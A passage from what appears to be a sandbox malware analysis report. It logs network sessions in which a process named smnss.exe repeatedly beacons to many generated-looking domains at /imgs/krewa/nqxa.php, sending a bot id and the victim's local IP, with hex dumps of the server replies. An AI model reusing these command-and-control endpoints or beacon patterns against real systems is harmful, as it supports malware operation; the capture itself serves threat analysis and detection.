76 77 53 51 72 6d 57 2d 34 26 6c 69 70 3d 31 39 32 2e 31 36 38 2e 32 2e 35 26 73 35 3d 33 31 35 39 26 73 69 64 3d 30 34 32 39 32 39 39 65 2d 35 39 30 65 2d 31 31 65 64 2d 38 30 30 31 2d 30 63 61 30 32 38 62 62 30 34 63 34 26 77 69 6e 3d 55 6e 6b 27 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Loading...</title></head><body><script type='text/javascript'>window.location.replace('http://awhhsqness.com/imgs/krewa/nqxa.php?ch=1&id=50f5gzcu&js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJKb2tlbiIsImV4cCI6MTY2NzIyMjQyNSwiaWF0IjoxNjY3MjE1MjI1LCJpc3MiOiJKb2tlbiIsImpzIjoxLCJqdGkiOiIyc2hpNnFnMW44cjNkcGJjNjg2a2JsOGEiLCJuYmYiOjE2NjcyMTUyMjUsInRzIjoxNjY3MjE1MjI1MjU5NjYzfQ.-p_ItrCFUQhwmk6QkZWWx6fexah5RoVBMWvwSQrmW-4&lip=192.168.2.5&s5=3159&sid=0429299e-590e-11ed-8001-0ca028bb04c4&win=Unk');</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.5	49921	64.70.19.203	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:20:25.545727015 CET	4308	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: eqprsrnprs.ws User-Agent: explwer

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49690	64.70.19.203	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:19:31.317466974 CET	99	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: emnhnawmen.ws User-Agent: explwer

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49922	81.17.18.195	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:20:25.821269989 CET	4348	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: aaesrmawah.com User-Agent: explwer
Oct 31, 2022 12:20:25.843229055 CET	4349	IN	HTTP/1.1 200 OK accept-ch: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile cache-control: max-age=0, private, must-revalidate connection: close content-length: 538 content-type: text/html; charset=utf-8 date: Mon, 31 Oct 2022 11:20:24 GMT server: nginx set-cookie: sid=0480276c-590e-11ed-a0d0-007b13256a9d; path=/; domain=.aaesrmawah.com; expires=Sat, 18 Nov 2090 14:34:32 GMT; max-age=2147483647; HttpOnly Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4c 6f 61 64 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 3a 2f 2f 61 61 65 73 72 6d 61 77 61 68 2e 63 6f 6d 2f 69 6d 67 73 2f 6b 72 65 77 61 2f 6e 71 78 61 2e 70 68 70 3f 63 68 3d 31 26 69 64 3d 35 30 66 35 67 7a 63 75 26 6a 73 3d 65 79 4a 68 62 47 63 69 4f 69 4a 49 55 7a 49 31 4e 69 49 73 49 6e 52 35 63 43 49 36 49 6b 70 58 56 43 4a 39 2e 65 79 4a 68 64 57 51 69 4f 69 4a 4b 62 32 74 6c 62 69 49 73 49 6d 56 34 63 43 49 36 4d 54 59 32 4e 7a 49 79 4d 6a 51 79 4e 53 77 69 61 57 46 30 49 6a 6f 78 4e 6a 59 33 4d 6a 45 31 4d 6a 49 31 4c 43 4a 70 63 33 4d 69 4f 69 4a 4b 62 32 74 6c 62 69 49 73 49 6d 70 7a 49 6a 6f 78 4c 43 4a 71 64 47 6b 69 4f 69 49 79 63 32 68 70 4e 6e 46 6f 4d 33 42 32 61 33 5a 77 59 33 52 69 61 47 73 30 4e 32 4d 33 64 57 4d 69 4c 43 4a 75 59 6d 59 69 4f 6a 45 32 4e 6a 63 79 4d 54 55 79 4d 6a 55 73 49 6e 52 7a 49 6a 6f 78 4e 6a 59 33 4d 6a 45 31 4d 6a 49 31 4f 44 4d 78 4e 44 6b 7a 66 51 2e 4a 41 65 31 4f 38 42 4f 31 58 63 32 53 4f 50 39 59 72 4d 70 30 6e 71 5a 37 31 63 56 33 74 49 46 33 75 36 46 68 41 6b 46 48 41 34 26 6c 69 70 3d 31 39 32 2e 31 36 38 2e 32 2e 35 26 73 35 3d 33 31 35 39 26 73 69 64 3d 30 34 38 30 32 37 36 63 2d 35 39 30 65 2d 31 31 65 64 2d 61 30 64 30 2d 30 30 37 62 31 33 32 35 36 61 39 64 26 77 69 6e 3d 55 6e 6b 27 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Loading...</title></head><body><script type='text/javascript'>window.location.replace('http://aaesrmawah.com/imgs/krewa/nqxa.php?ch=1&id=50f5gzcu&js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJKb2tlbiIsImV4cCI6MTY2NzIyMjQyNSwiaWF0IjoxNjY3MjE1MjI1LCJpc3MiOiJKb2tlbiIsImpzIjoxLCJqdGkiOiIyc2hpNnFoM3B2a3ZwY3RiaGs0N2M3dWMiLCJuYmYiOjE2NjcyMTUyMjUsInRzIjoxNjY3MjE1MjI1ODMxNDkzfQ.JAe1O8BO1Xc2SOP9YrMp0nqZ71cV3tIF3u6FhAkFHA4&lip=192.168.2.5&s5=3159&sid=0480276c-590e-11ed-a0d0-007b13256a9d&win=Unk');</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.5	49937	64.70.19.203	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:20:26.586644888 CET	4391	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: eqnhphnqms.ws User-Agent: explwer

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49957	64.70.19.203	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:20:27.655570030 CET	4459	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: erphseshhh.ws User-Agent: explwer

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.5	49980	64.70.19.203	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:20:28.917105913 CET	4516	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: emhmmwaasa.ws User-Agent: explwer

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.5	50034	64.70.19.203	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:20:33.100884914 CET	4850	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: eshmhnprpa.ws User-Agent: explwer

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.5	50054	199.59.243.222	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:20:34.037259102 CET	5113	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: rrnpamehwa.org User-Agent: explwer
Oct 31, 2022 12:20:34.238770008 CET	5115	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 31 Oct 2022 11:20:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: parking_session=a7e88abc-9de1-02c6-0c94-288a1988bb4d; expires=Mon, 31-Oct-2022 11:35:34 GMT; Max-Age=900; path=/; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_g/rYRkIEmSN5VR0bDeHPQVjha66ZruD32OrLk1ZR5t/PX2yWQEKXPHKKMqRjqWGiiKkKN15H7utv3BwcqUd18w== Cache-Control: no-cache Accept-CH: sec-ch-prefers-color-scheme Critical-CH: sec-ch-prefers-color-scheme Vary: sec-ch-prefers-color-scheme Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-store, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Data Raw: 34 33 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 67 2f 72 59 52 6b 49 45 6d 53 4e 35 56 52 30 62 44 65 48 50 51 56 6a 68 61 36 36 5a 72 75 44 33 32 4f 72 4c 6b 31 5a 52 35 74 2f 50 58 32 79 57 51 45 4b 58 50 48 4b 4b 4d 71 52 6a 71 57 47 69 69 4b 6b 4b 4e 31 35 48 37 75 74 76 33 42 77 63 71 55 64 31 38 77 3d 3d 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 Data Ascii: 433<!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_g/rYRkIEmSN5VR0bDeHPQVjha66ZruD32OrLk1ZR5t/PX2yWQEKXPHKKMqRjqWGiiKkKN15H7utv3BwcqUd18w=="><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="preconnect
Oct 31, 2022 12:20:34.238812923 CET	5116	IN	Data Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f Data Ascii: " href="https://www.google.com" crossorigin><link rel="dns-prefetch" href="https://parking.bodiscdn.com" crossorigin></head><body><div id="target" style='opacity: 0'></div><script>window.park = "eyJ1dWlkIjoiYTdlODhhYmMtOWRlMS0wMmM2LTBjOTQtMjg4
Oct 31, 2022 12:20:34.251316071 CET	5116	IN	Data Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f Data Ascii: " href="https://www.google.com" crossorigin><link rel="dns-prefetch" href="https://parking.bodiscdn.com" crossorigin></head><body><div id="target" style='opacity: 0'></div><script>window.park = "eyJ1dWlkIjoiYTdlODhhYmMtOWRlMS0wMmM2LTBjOTQtMjg4

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.5	50087	64.70.19.203	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:20:54.489196062 CET	6797	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: ehnwnaqnss.ws User-Agent: explwer

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.5	50093	81.17.29.147	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:20:54.967475891 CET	6862	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: aspamphaqh.com User-Agent: explwer
Oct 31, 2022 12:20:54.988241911 CET	6863	IN	HTTP/1.1 200 OK accept-ch: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile cache-control: max-age=0, private, must-revalidate connection: close content-length: 538 content-type: text/html; charset=utf-8 date: Mon, 31 Oct 2022 11:20:54 GMT server: nginx set-cookie: sid=15df780a-590e-11ed-9048-5cbf6354d41f; path=/; domain=.aspamphaqh.com; expires=Sat, 18 Nov 2090 14:35:01 GMT; max-age=2147483647; HttpOnly Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4c 6f 61 64 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 3a 2f 2f 61 73 70 61 6d 70 68 61 71 68 2e 63 6f 6d 2f 69 6d 67 73 2f 6b 72 65 77 61 2f 6e 71 78 61 2e 70 68 70 3f 63 68 3d 31 26 69 64 3d 35 30 66 35 67 7a 63 75 26 6a 73 3d 65 79 4a 68 62 47 63 69 4f 69 4a 49 55 7a 49 31 4e 69 49 73 49 6e 52 35 63 43 49 36 49 6b 70 58 56 43 4a 39 2e 65 79 4a 68 64 57 51 69 4f 69 4a 4b 62 32 74 6c 62 69 49 73 49 6d 56 34 63 43 49 36 4d 54 59 32 4e 7a 49 79 4d 6a 51 31 4e 43 77 69 61 57 46 30 49 6a 6f 78 4e 6a 59 33 4d 6a 45 31 4d 6a 55 30 4c 43 4a 70 63 33 4d 69 4f 69 4a 4b 62 32 74 6c 62 69 49 73 49 6d 70 7a 49 6a 6f 78 4c 43 4a 71 64 47 6b 69 4f 69 49 79 63 32 68 70 4e 6e 4d 33 5a 44 42 70 4d 47 45 7a 63 44 6b 77 4d 6d 4d 30 5a 33 52 6f 62 7a 6b 69 4c 43 4a 75 59 6d 59 69 4f 6a 45 32 4e 6a 63 79 4d 54 55 79 4e 54 51 73 49 6e 52 7a 49 6a 6f 78 4e 6a 59 33 4d 6a 45 31 4d 6a 55 30 4f 54 63 32 4f 54 59 32 66 51 2e 6d 66 4f 63 6c 79 53 53 4d 34 5f 4e 30 30 72 58 63 35 6b 46 49 4c 57 44 74 33 74 66 2d 64 41 53 70 51 38 43 78 74 6d 50 79 71 73 26 6c 69 70 3d 31 39 32 2e 31 36 38 2e 32 2e 35 26 73 35 3d 33 31 35 39 26 73 69 64 3d 31 35 64 66 37 38 30 61 2d 35 39 30 65 2d 31 31 65 64 2d 39 30 34 38 2d 35 63 62 66 36 33 35 34 64 34 31 66 26 77 69 6e 3d 55 6e 6b 27 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Loading...</title></head><body><script type='text/javascript'>window.location.replace('http://aspamphaqh.com/imgs/krewa/nqxa.php?ch=1&id=50f5gzcu&js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJKb2tlbiIsImV4cCI6MTY2NzIyMjQ1NCwiaWF0IjoxNjY3MjE1MjU0LCJpc3MiOiJKb2tlbiIsImpzIjoxLCJqdGkiOiIyc2hpNnM3ZDBpMGEzcDkwMmM0Z3RobzkiLCJuYmYiOjE2NjcyMTUyNTQsInRzIjoxNjY3MjE1MjU0OTc2OTY2fQ.mfOclySSM4_N00rXc5kFILWDt3tf-dASpQ8CxtmPyqs&lip=192.168.2.5&s5=3159&sid=15df780a-590e-11ed-9048-5cbf6354d41f&win=Unk');</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.5	50104	64.70.19.203	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:20:55.522123098 CET	6868	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: emqewenpsh.ws User-Agent: explwer

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.5	50115	64.70.19.203	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:20:56.296700954 CET	7064	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: ersaenrnwh.ws User-Agent: explwer

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49721	64.70.19.203	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:19:32.645713091 CET	110	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: eqrrmhhwhh.ws User-Agent: explwer

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.5	50123	199.59.243.222	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:20:56.912211895 CET	7144	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: ansenhrann.com User-Agent: explwer
Oct 31, 2022 12:20:57.113289118 CET	7171	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 31 Oct 2022 11:20:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: parking_session=b8406912-7eba-6e7e-21fd-9396d6c34564; expires=Mon, 31-Oct-2022 11:35:57 GMT; Max-Age=900; path=/; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_kcymLQ/OZn66w4CmjGD2i9l7qaI7G+MiDblKye9t7SIH1FrDTzkfWnc1wwqfLa0ya22CTcyqDgoHXqoTDKOmGg== Cache-Control: no-cache Accept-CH: sec-ch-prefers-color-scheme Critical-CH: sec-ch-prefers-color-scheme Vary: sec-ch-prefers-color-scheme Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-store, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Data Raw: 34 33 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 6b 63 79 6d 4c 51 2f 4f 5a 6e 36 36 77 34 43 6d 6a 47 44 32 69 39 6c 37 71 61 49 37 47 2b 4d 69 44 62 6c 4b 79 65 39 74 37 53 49 48 31 46 72 44 54 7a 6b 66 57 6e 63 31 77 77 71 66 4c 61 30 79 61 32 32 43 54 63 79 71 44 67 6f 48 58 71 6f 54 44 4b 4f 6d 47 67 3d 3d 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 Data Ascii: 433<!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_kcymLQ/OZn66w4CmjGD2i9l7qaI7G+MiDblKye9t7SIH1FrDTzkfWnc1wwqfLa0ya22CTcyqDgoHXqoTDKOmGg=="><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="preconnect
Oct 31, 2022 12:20:57.113323927 CET	7172	IN	Data Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f Data Ascii: " href="https://www.google.com" crossorigin><link rel="dns-prefetch" href="https://parking.bodiscdn.com" crossorigin></head><body><div id="target" style='opacity: 0'></div><script>window.park = "eyJ1dWlkIjoiYjg0MDY5MTItN2ViYS02ZTdlLTIxZmQtOTM5
Oct 31, 2022 12:20:57.125960112 CET	7196	IN	Data Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f Data Ascii: " href="https://www.google.com" crossorigin><link rel="dns-prefetch" href="https://parking.bodiscdn.com" crossorigin></head><body><div id="target" style='opacity: 0'></div><script>window.park = "eyJ1dWlkIjoiYjg0MDY5MTItN2ViYS02ZTdlLTIxZmQtOTM5

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49726	64.70.19.203	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:19:33.158869982 CET	175	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: eqsnewshhn.ws User-Agent: explwer

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49737	64.70.19.203	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:19:34.061060905 CET	307	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: emrmmpsarh.ws User-Agent: explwer

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49750	63.251.126.10	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:19:35.682586908 CET	439	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: wpqqhhspps.in User-Agent: explwer
Oct 31, 2022 12:19:36.110740900 CET	441	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 31 Oct 2022 11:19:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=c28554a7e216756660237b5cc049eae9\|102.129.143.15\|1667215175\|1667215175\|0\|1\|0; path=/; domain=.wpqqhhspps.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=102.129.143.15; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49768	81.17.29.149	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:19:36.662755966 CET	571	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: aewrhprres.com User-Agent: explwer
Oct 31, 2022 12:19:36.983808994 CET	586	IN	HTTP/1.1 302 Found cache-control: max-age=0, private, must-revalidate connection: close content-length: 11 date: Mon, 31 Oct 2022 11:19:36 GMT location: http://ww1.aewrhprres.com server: nginx set-cookie: sid=e7331b2e-590d-11ed-902d-5cbfbb4116e0; path=/; domain=.aewrhprres.com; expires=Sat, 18 Nov 2090 14:33:43 GMT; max-age=2147483647; HttpOnly Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 Data Ascii: Redirecting

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49773	81.17.18.196	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:19:37.212553024 CET	638	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: asnrrsamsa.com User-Agent: explwer
Oct 31, 2022 12:19:37.576055050 CET	701	IN	HTTP/1.1 302 Found cache-control: max-age=0, private, must-revalidate connection: close content-length: 11 date: Mon, 31 Oct 2022 11:19:36 GMT location: http://ww1.asnrrsamsa.com server: nginx set-cookie: sid=e7871972-590d-11ed-bfa9-007bc99919da; path=/; domain=.asnrrsamsa.com; expires=Sat, 18 Nov 2090 14:33:44 GMT; max-age=2147483647; HttpOnly Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 Data Ascii: Redirecting

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49780	81.17.29.150	80	C:\Windows\SysWOW64\smnss.exe

Timestamp	kBytes transferred	Direction	Data
Oct 31, 2022 12:19:37.816041946 CET	704	OUT	GET /imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk HTTP/1.1 Host: aanparshnh.com User-Agent: explwer
Oct 31, 2022 12:19:37.836476088 CET	705	IN	HTTP/1.1 200 OK accept-ch: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile cache-control: max-age=0, private, must-revalidate connection: close content-length: 538 content-type: text/html; charset=utf-8 date: Mon, 31 Oct 2022 11:19:37 GMT server: nginx set-cookie: sid=e7e31e98-590d-11ed-a9ea-5cbfa827f7ad; path=/; domain=.aanparshnh.com; expires=Sat, 18 Nov 2090 14:33:44 GMT; max-age=2147483647; HttpOnly Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4c 6f 61 64 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 3a 2f 2f 61 61 6e 70 61 72 73 68 6e 68 2e 63 6f 6d 2f 69 6d 67 73 2f 6b 72 65 77 61 2f 6e 71 78 61 2e 70 68 70 3f 63 68 3d 31 26 69 